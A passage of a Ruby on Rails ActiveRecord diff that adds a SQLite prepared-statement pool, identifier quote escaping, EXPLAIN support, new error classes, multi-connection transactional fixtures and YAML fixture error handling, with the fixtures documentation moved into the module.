+ end
+
+ # Clears out internal caches:
+ #
+ # * columns
+ # * columns_hash
+ # * tables
+ def clear!
+ @columns.clear
+ @columns_hash.clear
+ @column_defaults.clear
+ @tables.clear
+ end
+
+ # Clear out internal caches for table with +table_name+.
+ def clear_table_cache!(table_name)
+ @columns.delete table_name
+ @columns_hash.delete table_name
+ @column_defaults.delete table_name
+ @primary_keys.delete table_name
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
index c3a7b039ff..0a0da0b5d3 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
@@ -1,4 +1,6 @@
require 'active_record/connection_adapters/sqlite_adapter'
+
+gem 'sqlite3', '~> 1.3.4'
require 'sqlite3'
module ActiveRecord
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb
index e2a0f63393..c11f82a33f 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb
@@ -1,4 +1,6 @@
require 'active_record/connection_adapters/abstract_adapter'
+require 'active_record/connection_adapters/statement_pool'
+require 'active_support/core_ext/string/encoding'
module ActiveRecord
module ConnectionAdapters #:nodoc:
@@ -47,10 +49,47 @@ module ActiveRecord
end
end
+ class StatementPool < ConnectionAdapters::StatementPool
+ def initialize(connection, max)
+ super
+ @cache = Hash.new { |h,pid| h[pid] = {} }
+ end
+
+ def each(&block); cache.each(&block); end
+ def key?(key); cache.key?(key); end
+ def [](key); cache[key]; end
+ def length; cache.length; end
+
+ def []=(sql, key)
+ while @max <= cache.size
+ dealloc(cache.shift.last[:stmt])
+ end
+ cache[sql] = key
+ end
+
+ def clear
+ cache.values.each do |hash|
+ dealloc hash[:stmt]
+ end
+ cache.clear
+ end
+
+ private
+ def cache
+ @cache[$$]
+ end
+
+ def dealloc(stmt)
+ stmt.close unless stmt.closed?
+ end
+ end
+
def initialize(connection, logger, config)
super(connection, logger)
- @statements = {}
+ @statements = StatementPool.new(@connection,
+ config.fetch(:statement_limit) { 1000 })
@config = config
+ @visitor = Arel::Visitors::SQLite.new self
end
def adapter_name #:nodoc:
@@ -102,10 +141,6 @@ module ActiveRecord
# Clears the prepared statements cache.
def clear_cache!
- @statements.values.map { |hash| hash[:stmt] }.each { |stmt|
- stmt.close unless stmt.closed?
- }
-
@statements.clear
end
@@ -119,6 +154,10 @@ module ActiveRecord
sqlite_version >= '3.1.0'
end
+ def supports_index_sort_order?
+ sqlite_version >= '3.3.0'
+ end
+
def native_database_types #:nodoc:
{
:primary_key => default_primary_key_type,
@@ -144,7 +183,7 @@ module ActiveRecord
end
def quote_column_name(name) #:nodoc:
- %Q("#{name}")
+ %Q("#{name.to_s.gsub('"', '""')}")
end
# Quote date/time values for use in SQL input. Includes microseconds
@@ -157,14 +196,48 @@ module ActiveRecord
end
end
- def type_cast(value, column) # :nodoc:
- return super unless BigDecimal === value
+ if "<3".encoding_aware?
+ def type_cast(value, column) # :nodoc:
+ return value.to_f if BigDecimal === value
+ return super unless String === value
+ return super unless column && value
- value.to_f
+ value = super
+ if column.type == :string && value.encoding == Encoding::ASCII_8BIT
+ @logger.error "Binary data inserted for `string` type on column `#{column.name}`"
+ value.encode! 'utf-8'
+ end
+ value
+ end
+ else
+ def type_cast(value, column) # :nodoc:
+ return super unless BigDecimal === value
+
+ value.to_f
+ end
end
# DATABASE STATEMENTS ======================================
+ def explain(arel)
+ sql = "EXPLAIN QUERY PLAN #{to_sql(arel)}"
+ ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN'))
+ end
+
+ class ExplainPrettyPrinter
+ # Pretty prints the result of a EXPLAIN QUERY PLAN in a way that resembles
+ # the output of the SQLite shell:
+ #
+ # 0|0|0|SEARCH TABLE users USING INTEGER PRIMARY KEY (rowid=?) (~1 rows)
+ # 0|1|1|SCAN TABLE posts (~100000 rows)
+ #
+ def pp(result) # :nodoc:
+ result.rows.map do |row|
+ row.join('|')
+ end.join("\n") + "\n"
+ end
+ end
+
def exec_query(sql, name = nil, binds = [])
log(sql, name, binds) do
@@ -238,15 +311,15 @@ module ActiveRecord
end
def begin_db_transaction #:nodoc:
- @connection.transaction
+ log('begin transaction',nil) { @connection.transaction }
end
def commit_db_transaction #:nodoc:
- @connection.commit
+ log('commit transaction',nil) { @connection.commit }
end
def rollback_db_transaction #:nodoc:
- @connection.rollback
+ log('rollback transaction',nil) { @connection.rollback }
end
# SCHEMA STATEMENTS ========================================
@@ -360,6 +433,8 @@ module ActiveRecord
self.limit = options[:limit] if options.include?(:limit)
self.default = options[:default] if include_default
self.null = options[:null] if options.include?(:null)
+ self.precision = options[:precision] if options.include?(:precision)
+ self.scale = options[:scale] if options.include?(:scale)
end
end
end
@@ -414,6 +489,7 @@ module ActiveRecord
@definition.column(column_name, column.type,
:limit => column.limit, :default => column.default,
+ :precision => column.precision, :scale => column.scale,
:null => column.null)
end
@definition.primary_key(primary_key(from)) if primary_key(from)
diff --git a/activerecord/lib/active_record/connection_adapters/statement_pool.rb b/activerecord/lib/active_record/connection_adapters/statement_pool.rb
new file mode 100644
index 0000000000..c6b1bc8b5b
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/statement_pool.rb
@@ -0,0 +1,40 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class StatementPool
+ include Enumerable
+
+ def initialize(connection, max = 1000)
+ @connection = connection
+ @max = max
+ end
+
+ def each
+ raise NotImplementedError
+ end
+
+ def key?(key)
+ raise NotImplementedError
+ end
+
+ def [](key)
+ raise NotImplementedError
+ end
+
+ def length
+ raise NotImplementedError
+ end
+
+ def []=(sql, key)
+ raise NotImplementedError
+ end
+
+ def clear
+ raise NotImplementedError
+ end
+
+ def delete(key)
+ raise NotImplementedError
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/counter_cache.rb b/activerecord/lib/active_record/counter_cache.rb
index 4d387565d9..3c7defedac 100644
--- a/activerecord/lib/active_record/counter_cache.rb
+++ b/activerecord/lib/active_record/counter_cache.rb
@@ -33,7 +33,7 @@ module ActiveRecord
stmt = unscoped.where(arel_table[primary_key].eq(object.id)).arel.compile_update({
arel_table[counter_name] => object.send(association).count
})
- connection.update stmt.to_sql
+ connection.update stmt
end
return true
end
diff --git a/activerecord/lib/active_record/errors.rb b/activerecord/lib/active_record/errors.rb
index ad7d8cd63c..fc80f3081e 100644
--- a/activerecord/lib/active_record/errors.rb
+++ b/activerecord/lib/active_record/errors.rb
@@ -99,6 +99,16 @@ module ActiveRecord
#
# Read more about optimistic locking in ActiveRecord::Locking module RDoc.
class StaleObjectError < ActiveRecordError
+ attr_reader :record, :attempted_action
+
+ def initialize(record, attempted_action)
+ @record = record
+ @attempted_action = attempted_action
+ end
+
+ def message
+ "Attempted to #{attempted_action} a stale object: #{record.class.name}"
+ end
end
# Raised when association is being configured improperly or
@@ -169,4 +179,17 @@ module ActiveRecord
@errors = errors
end
end
+
+ # Raised when a primary key is needed, but there is not one specified in the schema or model.
+ class UnknownPrimaryKey < ActiveRecordError
+ attr_reader :model
+
+ def initialize(model)
+ @model = model
+ end
+
+ def message
+ "Unknown primary key for table #{model.table_name} in model #{model}."
+ end
+ end
end
diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb
index 3f36dcde14..cad9417216 100644
--- a/activerecord/lib/active_record/fixtures.rb
+++ b/activerecord/lib/active_record/fixtures.rb
@@ -24,375 +24,368 @@ end
class FixturesFileNotFound < StandardError; end
-# Fixtures are a way of organizing data that you want to test against; in short, sample data.
-#
-# = Fixture formats
-#
-# Fixtures come in 1 flavor:
-#
-# 1. YAML fixtures
-#
-# == YAML fixtures
-#
-# This type of fixture is in YAML format and the preferred default. YAML is a file format which describes data structures
-# in a non-verbose, human-readable format. It ships with Ruby 1.8.1+.
-#
-# Unlike single-file fixtures, YAML fixtures are stored in a single file per model, which are placed
-# in the directory appointed by <tt>ActiveSupport::TestCase.fixture_path=(path)</tt> (this is
-# automatically configured for Rails, so you can just put your files in <tt><your-rails-app>/test/fixtures/</tt>).
-# The fixture file ends with the <tt>.yml</tt> file extension (Rails example:
-# <tt><your-rails-app>/test/fixtures/web_sites.yml</tt>). The format of a YAML fixture file looks like this:
-#
-# rubyonrails:
-# id: 1
-# name: Ruby on Rails
-# url: http://www.rubyonrails.org
-#
-# google:
-# id: 2
-# name: Google
-# url: http://www.google.com
-#
-# This YAML fixture file includes two fixtures. Each YAML fixture (ie. record) is given a name and is followed by an
-# indented list of key/value pairs in the "key: value" format. Records are separated by a blank line for your viewing
-# pleasure.
-#
-# Note that YAML fixtures are unordered. If you want ordered fixtures, use the omap YAML type.
-# See http://yaml.org/type/omap.html
-# for the specification. You will need ordered fixtures when you have foreign key constraints on keys in the same table.
-# This is commonly needed for tree structures. Example:
-#
-# --- !omap
-# - parent:
-# id: 1
-# parent_id: NULL
-# title: Parent
-# - child:
-# id: 2
-# parent_id: 1
-# title: Child
-#
-# = Using fixtures in testcases
-#
-# Since fixtures are a testing construct, we use them in our unit and functional tests. There are two ways to use the
-# fixtures, but first let's take a look at a sample unit test:
-#
-# require 'test_helper'
-#
-# class WebSiteTest < ActiveSupport::TestCase
-# test "web_site_count" do
-# assert_equal 2, WebSite.count
-# end
-# end
-#
-# By default, the <tt>test_helper module</tt> will load all of your fixtures into your test database,
-# so this test will succeed.
-# The testing environment will automatically load the all fixtures into the database before each test.
-# To ensure consistent data, the environment deletes the fixtures before running the load.
-#
-# In addition to being available in the database, the fixture's data may also be accessed by
-# using a special dynamic method, which has the same name as the model, and accepts the
-# name of the fixture to instantiate:
-#
-# test "find" do
-# assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
-# end
-#
-# Alternatively, you may enable auto-instantiation of the fixture data. For instance, take the following tests:
-#
-# test "find_alt_method_1" do
-# assert_equal "Ruby on Rails", @web_sites['rubyonrails']['name']
-# end
-#
-# test "find_alt_method_2" do
-# assert_equal "Ruby on Rails", @rubyonrails.news
-# end
-#
-# In order to use these methods to access fixtured data within your testcases, you must specify one of the
-# following in your <tt>ActiveSupport::TestCase</tt>-derived class:
-#
-# - to fully enable instantiated fixtures (enable alternate methods #1 and #2 above)
-# self.use_instantiated_fixtures = true
-#
-# - create only the hash for the fixtures, do not 'find' each instance (enable alternate method #1 only)
-# self.use_instantiated_fixtures = :no_instances
-#
-# Using either of these alternate methods incurs a performance hit, as the fixtured data must be fully
-# traversed in the database to create the fixture hash and/or instance variables. This is expensive for
-# large sets of fixtured data.
-#
-# = Dynamic fixtures with ERB
-#
-# Some times you don't care about the content of the fixtures as much as you care about the volume. In these cases, you can
-# mix ERB in with your YAML fixtures to create a bunch of fixtures for load testing, like:
-#
-# <% for i in 1..1000 %>
-# fix_<%= i %>:
-# id: <%= i %>
-# name: guy_<%= 1 %>
-# <% end %>
-#
-# This will create 1000 very simple YAML fixtures.
-#
-# Using ERB, you can also inject dynamic values into your fixtures with inserts like <tt><%= Date.today.strftime("%Y-%m-%d") %></tt>.
-# This is however a feature to be used with some caution. The point of fixtures are that they're
-# stable units of predictable sample data. If you feel that you need to inject dynamic values, then
-# perhaps you should reexamine whether your application is properly testable. Hence, dynamic values
-# in fixtures are to be considered a code smell.
-#
-# = Transactional fixtures
-#
-# TestCases can use begin+rollback to isolate their changes to the database instead of having to
-# delete+insert for every test case.
-#
-# class FooTest < ActiveSupport::TestCase
-# self.use_transactional_fixtures = true
-#
-# test "godzilla" do
-# assert !Foo.all.empty?
-# Foo.destroy_all
-# assert Foo.all.empty?
-# end
-#
-# test "godzilla aftermath" do
-# assert !Foo.all.empty?
-# end
-# end
-#
-# If you preload your test database with all fixture data (probably in the Rakefile task) and use transactional fixtures,
-# then you may omit all fixtures declarations in your test cases since all the data's already there
-# and every case rolls back its changes.
-#
-# In order to use instantiated fixtures with preloaded data, set +self.pre_loaded_fixtures+ to true. This will provide
-# access to fixture data for every table that has been loaded through fixtures (depending on the
-# value of +use_instantiated_fixtures+)
-#
-# When *not* to use transactional fixtures:
-#
-# 1. You're testing whether a transaction works correctly. Nested transactions don't commit until
-# all parent transactions commit, particularly, the fixtures transaction which is begun in setup
-# and rolled back in teardown. Thus, you won't be able to verify
-# the results of your transaction until Active Record supports nested transactions or savepoints (in progress).
-# 2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM.
-# Use InnoDB, MaxDB, or NDB instead.
-#
-# = Advanced YAML Fixtures
-#
-# YAML fixtures that don't specify an ID get some extra features:
-#
-# * Stable, autogenerated IDs
-# * Label references for associations (belongs_to, has_one, has_many)
-# * HABTM associations as inline lists
-# * Autofilled timestamp columns
-# * Fixture label interpolation
-# * Support for YAML defaults
-#
-# == Stable, autogenerated IDs
-#
-# Here, have a monkey fixture:
-#
-# george:
-# id: 1
-# name: George the Monkey
-#
-# reginald:
-# id: 2
-# name: Reginald the Pirate
-#
-# Each of these fixtures has two unique identifiers: one for the database
-# and one for the humans. Why don't we generate the primary key instead?
-# Hashing each fixture's label yields a consistent ID:
-#
-# george: # generated id: 503576764
-# name: George the Monkey
-#
-# reginald: # generated id: 324201669
-# name: Reginald the Pirate
-#
-# Active Record looks at the fixture's model class, discovers the correct
-# primary key, and generates it right before inserting the fixture
-# into the database.
-#
-# The generated ID for a given label is constant, so we can discover
-# any fixture's ID without loading anything, as long as we know the label.
-#
-# == Label references for associations (belongs_to, has_one, has_many)
-#
-# Specifying foreign keys in fixtures can be very fragile, not to
-# mention difficult to read. Since Active Record can figure out the ID of
-# any fixture from its label, you can specify FK's by label instead of ID.
-#
-# === belongs_to
-#
-# Let's break out some more monkeys and pirates.
-#
-# ### in pirates.yml
-#
-# reginald:
-# id: 1
-# name: Reginald the Pirate
-# monkey_id: 1
-#
-# ### in monkeys.yml
-#
-# george:
-# id: 1
-# name: George the Monkey
-# pirate_id: 1
-#
-# Add a few more monkeys and pirates and break this into multiple files,
-# and it gets pretty hard to keep track of what's going on. Let's
-# use labels instead of IDs:
-#
-# ### in pirates.yml
-#
-# reginald:
-# name: Reginald the Pirate
-# monkey: george
-#
-# ### in monkeys.yml
-#
-# george:
-# name: George the Monkey
-# pirate: reginald
-#
-# Pow! All is made clear. Active Record reflects on the fixture's model class,
-# finds all the +belongs_to+ associations, and allows you to specify
-# a target *label* for the *association* (monkey: george) rather than
-# a target *id* for the *FK* (<tt>monkey_id: 1</tt>).
-#
-# ==== Polymorphic belongs_to
-#
-# Supporting polymorphic relationships is a little bit more complicated, since
-# Active Record needs to know what type your association is pointing at. Something
-# like this should look familiar:
-#
-# ### in fruit.rb
-#
-# belongs_to :eater, :polymorphic => true
-#
-# ### in fruits.yml
-#
-# apple:
-# id: 1
-# name: apple
-# eater_id: 1
-# eater_type: Monkey
-#
-# Can we do better? You bet!
-#
-# apple:
-# eater: george (Monkey)
-#
-# Just provide the polymorphic target type and Active Record will take care of the rest.
-#
-# === has_and_belongs_to_many
-#
-# Time to give our monkey some fruit.
-#
-# ### in monkeys.yml
-#
-# george:
-# id: 1
-# name: George the Monkey
-#
-# ### in fruits.yml
-#
-# apple:
-# id: 1
-# name: apple
-#
-# orange:
-# id: 2
-# name: orange
-#
-# grape:
-# id: 3
-# name: grape
-#
-# ### in fruits_monkeys.yml
-#
-# apple_george:
-# fruit_id: 1
-# monkey_id: 1
-#
-# orange_george:
-# fruit_id: 2
-# monkey_id: 1
-#
-# grape_george:
-# fruit_id: 3
-# monkey_id: 1
-#
-# Let's make the HABTM fixture go away.
-#
-# ### in monkeys.yml
-#
-# george:
-# id: 1
-# name: George the Monkey
-# fruits: apple, orange, grape
-#
-# ### in fruits.yml
-#
-# apple:
-# name: apple
-#
-# orange:
-# name: orange
-#
-# grape:
-# name: grape
-#
-# Zap! No more fruits_monkeys.yml file. We've specified the list of fruits
-# on George's fixture, but we could've just as easily specified a list
-# of monkeys on each fruit. As with +belongs_to+, Active Record reflects on
-# the fixture's model class and discovers the +has_and_belongs_to_many+
-# associations.
-#
-# == Autofilled timestamp columns
-#
-# If your table/model specifies any of Active Record's
-# standard timestamp columns (+created_at+, +created_on+, +updated_at+, +updated_on+),
-# they will automatically be set to <tt>Time.now</tt>.
-#
-# If you've set specific values, they'll be left alone.
-#
-# == Fixture label interpolation
-#
-# The label of the current fixture is always available as a column value:
-#
-# geeksomnia:
-# name: Geeksomnia's Account
-# subdomain: $LABEL
-#
-# Also, sometimes (like when porting older join table fixtures) you'll need
-# to be able to get a hold of the identifier for a given label. ERB
-# to the rescue:
-#
-# george_reginald:
-# monkey_id: <%= ActiveRecord::Fixtures.identify(:reginald) %>
-# pirate_id: <%= ActiveRecord::Fixtures.identify(:george) %>
-#
-# == Support for YAML defaults
-#
-# You probably already know how to use YAML to set and reuse defaults in
-# your <tt>database.yml</tt> file. You can use the same technique in your fixtures:
-#
-# DEFAULTS: &DEFAULTS
-# created_on: <%= 3.weeks.ago.to_s(:db) %>
-#
-# first:
-# name: Smurf
-# *DEFAULTS
-#
-# second:
-# name: Fraggle
-# *DEFAULTS
-#
-# Any fixture labeled "DEFAULTS" is safely ignored.
-
module ActiveRecord
+ # \Fixtures are a way of organizing data that you want to test against; in short, sample data.
+ #
+ # They are stored in YAML files, one file per model, which are placed in the directory
+ # appointed by <tt>ActiveSupport::TestCase.fixture_path=(path)</tt> (this is automatically
+ # configured for Rails, so you can just put your files in <tt><your-rails-app>/test/fixtures/</tt>).
+ # The fixture file ends with the <tt>.yml</tt> file extension (Rails example:
+ # <tt><your-rails-app>/test/fixtures/web_sites.yml</tt>). The format of a fixture file looks
+ # like this:
+ #
+ # rubyonrails:
+ # id: 1
+ # name: Ruby on Rails
+ # url: http://www.rubyonrails.org
+ #
+ # google:
+ # id: 2
+ # name: Google
+ # url: http://www.google.com
+ #
+ # This fixture file includes two fixtures. Each YAML fixture (ie. record) is given a name and
+ # is followed by an indented list of key/value pairs in the "key: value" format. Records are
+ # separated by a blank line for your viewing pleasure.
+ #
+ # Note that fixtures are unordered. If you want ordered fixtures, use the omap YAML type.
+ # See http://yaml.org/type/omap.html
+ # for the specification. You will need ordered fixtures when you have foreign key constraints
+ # on keys in the same table. This is commonly needed for tree structures. Example:
+ #
+ # --- !omap
+ # - parent:
+ # id: 1
+ # parent_id: NULL
+ # title: Parent
+ # - child:
+ # id: 2
+ # parent_id: 1
+ # title: Child
+ #
+ # = Using Fixtures in Test Cases
+ #
+ # Since fixtures are a testing construct, we use them in our unit and functional tests. There
+ # are two ways to use the fixtures, but first let's take a look at a sample unit test:
+ #
+ # require 'test_helper'
+ #
+ # class WebSiteTest < ActiveSupport::TestCase
+ # test "web_site_count" do
+ # assert_equal 2, WebSite.count
+ # end
+ # end
+ #
+ # By default, <tt>test_helper.rb</tt> will load all of your fixtures into your test database,
+ # so this test will succeed.
+ #
+ # The testing environment will automatically load the all fixtures into the database before each
+ # test. To ensure consistent data, the environment deletes the fixtures before running the load.
+ #
+ # In addition to being available in the database, the fixture's data may also be accessed by
+ # using a special dynamic method, which has the same name as the model, and accepts the
+ # name of the fixture to instantiate:
+ #
+ # test "find" do
+ # assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
+ # end
+ #
+ # Alternatively, you may enable auto-instantiation of the fixture data. For instance, take the
+ # following tests:
+ #
+ # test "find_alt_method_1" do
+ # assert_equal "Ruby on Rails", @web_sites['rubyonrails']['name']
+ # end
+ #
+ # test "find_alt_method_2" do
+ # assert_equal "Ruby on Rails", @rubyonrails.news
+ # end
+ #
+ # In order to use these methods to access fixtured data within your testcases, you must specify one of the
+ # following in your <tt>ActiveSupport::TestCase</tt>-derived class:
+ #
+ # - to fully enable instantiated fixtures (enable alternate methods #1 and #2 above)
+ # self.use_instantiated_fixtures = true
+ #
+ # - create only the hash for the fixtures, do not 'find' each instance (enable alternate method #1 only)
+ # self.use_instantiated_fixtures = :no_instances
+ #
+ # Using either of these alternate methods incurs a performance hit, as the fixtured data must be fully
+ # traversed in the database to create the fixture hash and/or instance variables. This is expensive for
+ # large sets of fixtured data.
+ #
+ # = Dynamic fixtures with ERB
+ #
+ # Some times you don't care about the content of the fixtures as much as you care about the volume.
+ # In these cases, you can mix ERB in with your YAML fixtures to create a bunch of fixtures for load
+ # testing, like:
+ #
+ # <% 1.upto(1000) do |i| %>
+ # fix_<%= i %>:
+ # id: <%= i %>
+ # name: guy_<%= 1 %>
+ # <% end %>
+ #
+ # This will create 1000 very simple fixtures.
+ #
+ # Using ERB, you can also inject dynamic values into your fixtures with inserts like
+ # <tt><%= Date.today.strftime("%Y-%m-%d") %></tt>.
+ # This is however a feature to be used with some caution. The point of fixtures are that they're
+ # stable units of predictable sample data. If you feel that you need to inject dynamic values, then
+ # perhaps you should reexamine whether your application is properly testable. Hence, dynamic values
+ # in fixtures are to be considered a code smell.
+ #
+ # = Transactional Fixtures
+ #
+ # Test cases can use begin+rollback to isolate their changes to the database instead of having to
+ # delete+insert for every test case.
+ #
+ # class FooTest < ActiveSupport::TestCase
+ # self.use_transactional_fixtures = true
+ #
+ # test "godzilla" do
+ # assert !Foo.all.empty?
+ # Foo.destroy_all
+ # assert Foo.all.empty?
+ # end
+ #
+ # test "godzilla aftermath" do
+ # assert !Foo.all.empty?
+ # end
+ # end
+ #
+ # If you preload your test database with all fixture data (probably in the rake task) and use
+ # transactional fixtures, then you may omit all fixtures declarations in your test cases since
+ # all the data's already there and every case rolls back its changes.
+ #
+ # In order to use instantiated fixtures with preloaded data, set +self.pre_loaded_fixtures+ to
+ # true. This will provide access to fixture data for every table that has been loaded through
+ # fixtures (depending on the value of +use_instantiated_fixtures+).
+ #
+ # When *not* to use transactional fixtures:
+ #
+ # 1. You're testing whether a transaction works correctly. Nested transactions don't commit until
+ # all parent transactions commit, particularly, the fixtures transaction which is begun in setup
+ # and rolled back in teardown. Thus, you won't be able to verify
+ # the results of your transaction until Active Record supports nested transactions or savepoints (in progress).
+ # 2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM.
+ # Use InnoDB, MaxDB, or NDB instead.
+ #
+ # = Advanced Fixtures
+ #
+ # Fixtures that don't specify an ID get some extra features:
+ #
+ # * Stable, autogenerated IDs
+ # * Label references for associations (belongs_to, has_one, has_many)
+ # * HABTM associations as inline lists
+ # * Autofilled timestamp columns
+ # * Fixture label interpolation
+ # * Support for YAML defaults
+ #
+ # == Stable, Autogenerated IDs
+ #
+ # Here, have a monkey fixture:
+ #
+ # george:
+ # id: 1
+ # name: George the Monkey
+ #
+ # reginald:
+ # id: 2
+ # name: Reginald the Pirate
+ #
+ # Each of these fixtures has two unique identifiers: one for the database
+ # and one for the humans. Why don't we generate the primary key instead?
+ # Hashing each fixture's label yields a consistent ID:
+ #
+ # george: # generated id: 503576764
+ # name: George the Monkey
+ #
+ # reginald: # generated id: 324201669
+ # name: Reginald the Pirate
+ #
+ # Active Record looks at the fixture's model class, discovers the correct
+ # primary key, and generates it right before inserting the fixture
+ # into the database.
+ #
+ # The generated ID for a given label is constant, so we can discover
+ # any fixture's ID without loading anything, as long as we know the label.
+ #
+ # == Label references for associations (belongs_to, has_one, has_many)
+ #
+ # Specifying foreign keys in fixtures can be very fragile, not to
+ # mention difficult to read. Since Active Record can figure out the ID of
+ # any fixture from its label, you can specify FK's by label instead of ID.
+ #
+ # === belongs_to
+ #
+ # Let's break out some more monkeys and pirates.
+ #
+ # ### in pirates.yml
+ #
+ # reginald:
+ # id: 1
+ # name: Reginald the Pirate
+ # monkey_id: 1
+ #
+ # ### in monkeys.yml
+ #
+ # george:
+ # id: 1
+ # name: George the Monkey
+ # pirate_id: 1
+ #
+ # Add a few more monkeys and pirates and break this into multiple files,
+ # and it gets pretty hard to keep track of what's going on. Let's
+ # use labels instead of IDs:
+ #
+ # ### in pirates.yml
+ #
+ # reginald:
+ # name: Reginald the Pirate
+ # monkey: george
+ #
+ # ### in monkeys.yml
+ #
+ # george:
+ # name: George the Monkey
+ # pirate: reginald
+ #
+ # Pow! All is made clear. Active Record reflects on the fixture's model class,
+ # finds all the +belongs_to+ associations, and allows you to specify
+ # a target *label* for the *association* (monkey: george) rather than
+ # a target *id* for the *FK* (<tt>monkey_id: 1</tt>).
+ #
+ # ==== Polymorphic belongs_to
+ #
+ # Supporting polymorphic relationships is a little bit more complicated, since
+ # Active Record needs to know what type your association is pointing at. Something
+ # like this should look familiar:
+ #
+ # ### in fruit.rb
+ #
+ # belongs_to :eater, :polymorphic => true
+ #
+ # ### in fruits.yml
+ #
+ # apple:
+ # id: 1
+ # name: apple
+ # eater_id: 1
+ # eater_type: Monkey
+ #
+ # Can we do better? You bet!
+ #
+ # apple:
+ # eater: george (Monkey)
+ #
+ # Just provide the polymorphic target type and Active Record will take care of the rest.
+ #
+ # === has_and_belongs_to_many
+ #
+ # Time to give our monkey some fruit.
+ #
+ # ### in monkeys.yml
+ #
+ # george:
+ # id: 1
+ # name: George the Monkey
+ #
+ # ### in fruits.yml
+ #
+ # apple:
+ # id: 1
+ # name: apple
+ #
+ # orange:
+ # id: 2
+ # name: orange
+ #
+ # grape:
+ # id: 3
+ # name: grape
+ #
+ # ### in fruits_monkeys.yml
+ #
+ # apple_george:
+ # fruit_id: 1
+ # monkey_id: 1
+ #
+ # orange_george:
+ # fruit_id: 2
+ # monkey_id: 1
+ #
+ # grape_george:
+ # fruit_id: 3
+ # monkey_id: 1
+ #
+ # Let's make the HABTM fixture go away.
+ #
+ # ### in monkeys.yml
+ #
+ # george:
+ # id: 1
+ # name: George the Monkey
+ # fruits: apple, orange, grape
+ #
+ # ### in fruits.yml
+ #
+ # apple:
+ # name: apple
+ #
+ # orange:
+ # name: orange
+ #
+ # grape:
+ # name: grape
+ #
+ # Zap! No more fruits_monkeys.yml file. We've specified the list of fruits
+ # on George's fixture, but we could've just as easily specified a list
+ # of monkeys on each fruit. As with +belongs_to+, Active Record reflects on
+ # the fixture's model class and discovers the +has_and_belongs_to_many+
+ # associations.
+ #
+ # == Autofilled Timestamp Columns
+ #
+ # If your table/model specifies any of Active Record's
+ # standard timestamp columns (+created_at+, +created_on+, +updated_at+, +updated_on+),
+ # they will automatically be set to <tt>Time.now</tt>.
+ #
+ # If you've set specific values, they'll be left alone.
+ #
+ # == Fixture label interpolation
+ #
+ # The label of the current fixture is always available as a column value:
+ #
+ # geeksomnia:
+ # name: Geeksomnia's Account
+ # subdomain: $LABEL
+ #
+ # Also, sometimes (like when porting older join table fixtures) you'll need
+ # to be able to get a hold of the identifier for a given label. ERB
+ # to the rescue:
+ #
+ # george_reginald:
+ # monkey_id: <%= ActiveRecord::Fixtures.identify(:reginald) %>
+ # pirate_id: <%= ActiveRecord::Fixtures.identify(:george) %>
+ #
+ # == Support for YAML defaults
+ #
+ # You probably already know how to use YAML to set and reuse defaults in
+ # your <tt>database.yml</tt> file. You can use the same technique in your fixtures:
+ #
+ # DEFAULTS: &DEFAULTS
+ # created_on: <%= 3.weeks.ago.to_s(:db) %>
+ #
+ # first:
+ # name: Smurf
+ # *DEFAULTS
+ #
+ # second:
+ # name: Fraggle
+ # *DEFAULTS
+ #
+ # Any fixture labeled "DEFAULTS" is safely ignored.
class Fixtures
MAX_ID = 2 ** 30 - 1
@@ -849,9 +842,12 @@ module ActiveRecord
@loaded_fixtures = load_fixtures
@@already_loaded_fixtures[self.class] = @loaded_fixtures
end
- ActiveRecord::Base.connection.increment_open_transactions
- ActiveRecord::Base.connection.transaction_joinable = false
- ActiveRecord::Base.connection.begin_db_transaction
+ @fixture_connections = enlist_fixture_connections
+ @fixture_connections.each do |connection|
+ connection.increment_open_transactions
+ connection.transaction_joinable = false
+ connection.begin_db_transaction
+ end
# Load fixtures for every test.
else
ActiveRecord::Fixtures.reset_cache
@@ -871,13 +867,22 @@ module ActiveRecord
end
# Rollback changes if a transaction is active.
- if run_in_transaction? && ActiveRecord::Base.connection.open_transactions != 0
- ActiveRecord::Base.connection.rollback_db_transaction
- ActiveRecord::Base.connection.decrement_open_transactions
+ if run_in_transaction?
+ @fixture_connections.each do |connection|
+ if connection.open_transactions != 0
+ connection.rollback_db_transaction
+ connection.decrement_open_transactions
+ end
+ end
+ @fixture_connections.clear
end
ActiveRecord::Base.clear_active_connections!
end
+ def enlist_fixture_connections
+ ActiveRecord::Base.connection_handler.connection_pools.values.map(&:connection)
+ end
+
private
def load_fixtures
fixtures = ActiveRecord::Fixtures.create_fixtures(fixture_path, fixture_table_names, fixture_class_names)
diff --git a/activerecord/lib/active_record/fixtures/file.rb b/activerecord/lib/active_record/fixtures/file.rb
index 04f494db2c..6bad36abb9 100644
--- a/activerecord/lib/active_record/fixtures/file.rb
+++ b/activerecord/lib/active_record/fixtures/file.rb
@@ -29,11 +29,21 @@ module ActiveRecord
rows.each(&block)
end
+ RESCUE_ERRORS = [ ArgumentError ] # :nodoc:
+
private
+ if defined?(Psych) && defined?(Psych::SyntaxError)
+ RESCUE_ERRORS << Psych::SyntaxError
+ end
+
def rows
return @rows if @rows
- data = YAML.load(render(IO.read(@file)))
+ begin
+ data = YAML.load(render(IO.read(@file)))
+ rescue *RESCUE_ERRORS => error
+ raise Fixture::FormatError, "a YAML error occurred parsing #{@file}. Please note that YAML must be consistently indented using spaces. Tabs are not allowed. Please have a look at http://www.yaml.org/faq.html\nThe exact error was:\n #{error.class}: #{error}", error.backtrace
+ end
@rows = data ? validate(data).to_a : []
end
diff --git a/activerecord/lib/active_record/locking/optimistic.rb b/activerecord/lib/active_record/locking/optimistic.rb
index 6cfce6e573..531f104c02 100644
--- a/activerecord/lib/active_record/locking/optimistic.rb
